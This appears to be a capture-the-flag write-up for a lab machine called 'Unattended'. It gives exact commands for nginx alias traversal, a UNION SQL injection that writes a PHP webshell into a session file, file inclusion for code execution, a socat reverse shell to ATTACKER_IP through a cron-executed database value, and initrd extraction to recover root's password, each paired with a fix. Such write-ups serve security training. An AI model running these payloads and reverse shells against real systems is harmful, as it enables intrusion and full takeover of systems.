Unattended
Summary
Target www.nestedflanders.htb ($TARGET) was fully compromised through a four-stage chain. An nginx alias-traversal misconfiguration let an unauthenticated visitor download raw PHP source code, which contained hard-coded MySQL credentials. The site's id GET parameter was vulnerable to UNION-based SQL injection; I exploited this to write a PHP webshell into a session file and then include that file through a local-file-inclusion flaw in the same parameter — gaining code execution as www-data.
The leaked database credentials were then used to overwrite a configuration value that a scheduled cron job executes as shell commands, pivoting to user guly and the user flag. Finally, a non-standard binary hidden inside the server's initrd boot image was extracted and run with a recoverable passphrase, returning root's cleartext password for full system takeover.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -p- --min-rate 3000 -T4 --open $TARGETecho | openssl s_client -connect $TARGET:443 -servername www.nestedflanders.htb 2>/dev/null | openssl x509 -noout -subjectecho "$TARGET www.nestedflanders.htb" | sudo tee -a /etc/hostsExact commands 2
curl -sk https://www.nestedflanders.htb/dev../html/index.php -o index.php.leakgrep -iE 'pass|user|db|host' index.php.leakFixFix the nginx alias directive to prevent path traversal and source code disclosureCritical
Exact commands 1
mysql -h 127.0.0.1 -u nestedflanders -p$PASSWORD -D neddy -e 'show tables;'FixRemove hard-coded database credentials from application source codeHigh
Exact commands 4
curl -sk "https://www.nestedflanders.htb/index.php?id=465%27%20union%20select%20%27%2Fetc%2Fpasswd%27--%20-"curl -sk -b 'PHPSESSID=$PASSWORD3' "https://www.nestedflanders.htb/index.php?id=465'+union+select+'<?php+system(\$_GET[cmd]);?>'+--+-"curl -sk "https://www.nestedflanders.htb/index.php?id=/var/lib/php/sessions/sess_$PASSWORD3&cmd=id"python3 /tmp/unattended_rce.py 'id'FixParameterise the SQL query and harden PHP session handling to eliminate the RCE chainCritical
Exact commands 3
nc -lvnp 443python3 /tmp/unattended_rce.py 'mysql -unestedflanders -p$PASSWORD -D neddy -e "update config set option_value=\"socat exec:\x27bash -li\x27,pty,stderr,setsid,sigint,sane tcp:$ATTACKER_IP:443;\" where id=86"'cat /home/guly/user.txtFixStop executing database-stored values as shell commands in scheduled jobsCritical
Exact commands 4
cd /tmp && mkdir initrd-codex && cd initrd-codex && zcat /boot/initrd.img-4.9.0-8-amd64 | cpio -idmvcp /tmp/initrd-codex/sbin/uinitrd /home/guly/uinitrd && chmod 700 /home/guly/uinitrd/home/guly/uinitrd $PASSWORD2su rootFixRemove root credentials from the initrd boot image and rotate the root passwordCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 80/tcp | http nginx 1.10.3 |
| 443/tcp | ssl/http nginx 1.10.3 |